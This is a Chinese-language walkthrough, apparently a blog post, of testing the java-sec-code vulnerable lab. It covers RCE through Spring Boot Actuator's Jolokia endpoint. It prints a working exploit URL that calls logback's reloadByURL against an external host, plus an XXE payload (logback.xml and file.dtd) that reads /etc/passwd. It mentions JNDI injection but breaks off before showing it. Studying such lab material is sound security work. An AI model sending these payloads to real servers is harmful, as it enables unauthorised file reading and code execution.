java-sec-code环境测试指北

好棒的测试环境,几乎涵盖所有类型的java漏洞了,首先要感谢一下JoyChou师傅的环境:https://github.com/JoyChou93/java-sec-code

让我们一个个看过去

Actuators to RCE

首先我们要了解一下Spring Boot Actuator是什么

Spring Boot Actuator是Spring Boot提供用于对应用系统进行自省和监控的功能模块,基于此开发人员可以方便地对应用系统某些监控指标进行查看、统计、审计、指标收集等。 Actuator提供了基于Http端点或JMX来管理和监视应用程序

说白了就是一个针对于Spring Boot的管理程序,可以直接通过http管理监视SpringBoot应用程序

JMX和Mbeans

JMX的全称为Java Management Extensions. 顾名思义,是管理Java的一种扩展。这种机制可以方便的管理、监控正在运行中的Java程序。常用于管理线程,内存,日志Level,服务重启,系统环境等。

MBean:是Managed Bean的简称,可以翻译为“管理构件”。在JMX中MBean代表一个被管理的资源实例,通过MBean中暴露的方法和属性,外界可以获取被管理的资源的状态和操纵MBean的行为。

通俗来讲Spring Boot Actuator就是JMX的一种具体实现,而MBean就类似于每个功能或对每种信息进行操作或观察的一个实例

那么RCE是怎么实现的呢,我们首先看下第一种方式

  1. jolokia

    Jolokia是一款开源产品,用于为JMX(Java Management Extensions)技术提供HTTP API接口

    漏洞成因:logback JMXConfigurator 允许通过 JMX 来配置 logback。简单来说就是,它允许你从默认配置文件,指定的文件或者 URL 重新配置 logback,列出 logger 以及修改 logger 级别。jolokia在logback JMXConfigurator中提供的reloadByURL方法允许我们从外部URL重新加载日志的记录配置。

    简单来说,就是因为Spring Boot Actuator配置不当并且其使用了Jolokia为其JMX服务提供http服务导致MBean泄露并且可以无身份认证直接通过Jolokia调用到JMX中声明好的方法

    如果我们的程序调用了jolokia库,那么Spring Boot会自动注册/jolokia路由,Jolokia允许HTTP访问所有注册的MBean,并旨在执行与JMX相同的操作。可以使用URL列出所有可用的MBeans操作:

    出问题的点在哪里呢,是Logback库提供的“reloadByURL”操作,这个操作允许我们从外部URL重新加载日志配置。它可以通过导航到以下方式触发:http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!!/artsploit.com!/logback.xml

    那么我们修改日志配置有什么用呢?首先是这个配置文件使用的是xml格式,所以很明显我们可以通过XXE来实现任意文件读取,其次,对于Logback来说,它可以通过JNDI来获得相关变量,所以我们可以写入一个类似于 <insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />的标签来实现JNDI注入进而RCE

    首先来看XXE,构造两个文件

    #logback.xml
    <?xml version="1.0" encoding="utf-8" ?>
    <!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://127.0.0.1:8000/file.dtd">%remote;%int;]>
    <a>&trick;</a>
    # file.dtd
    <!ENTITY % d SYSTEM "file:///etc/passwd"> 
    <!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

    然后我们构造如下url/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:8000!/logback.xml

    访问就有回显

    这里往下都是没用的分析内容,不过实在是不想白白删掉了

    我们来分析一下url构成

    首先是jolokia的路径注册

    public JolokiaMvcEndpoint() {
       super("jolokia", "/jolokia", true);
     this.controller.setServletClass(AgentServlet.class);
       this.controller.setServletName("jolokia");
    }

    只要/jolokia开头就能进入其逻辑中,我们在来看其中对路径进行处理的内容org.jolokia.http.HttpRequestHandler#handleGetRequest

    public JSONAware handleGetRequest(String pUri, String pPathInfo, Map<String, String[]> pParameterMap) {
        String pathInfo = extractPathInfo(pUri, pPathInfo);
    
        JmxRequest jmxReq =
                JmxRequestFactory.createGetRequest(pathInfo,getProcessingParameter(pParameterMap));
    
        if (backendManager.isDebug()) {
            logHandler.debug("URI: " + pUri);
            logHandler.debug("Path-Info: " + pathInfo);
            logHandler.debug("Request: " + jmxReq.toString());
        }
        return executeRequest(jmxReq);
    }

    这里我们会创建exec对应的org.jolokia.request.JmxExecRequest类对象,并将内容放入executeRequest中执行

    可以看到已经将我们的URL进行解析了,最终其执行过程为将 JmxExecRequst 中的 operation 做参数类型鉴定,然后根据目标函数需要的参数类型,将 arguments 转换成对应类型,最后执行 server.invoke 的调用,这个调用就是执行我们指定的类中的指定的函数,那这里是不是能够任意类和任意函数都能执行呢,不是的,需要提前注册,注册的内容可以通过 /jolokia/list 查看,这也是我们要通过list查看是否有reloadByURL的原因,下一步我们就是来看reloadByURL函数

    可以看到这个函数要求传入的参数是URL格式,不过我们上一步解析过程中已经自动将string类型转换为了URL类型,我们直接跟入doConfigure函数

    可以看到其从url中获取流后进入下一个doConfigure函数

    public final void doConfigure(InputStream inputStream) throws JoranException {
        doConfigure(new InputSource(inputStream));
    }

    转换了下类型,继续

    这里在recordEvents中对xml内容进行了解析,触发XXE

    好了可以从这里开始看了

    那么RCE的内容在哪,就是我们之前说的jolokia会从JNDI中获取变量

    https://www.hacking8.com/books/bug-product/Spring-Boot/376/media/rId41.png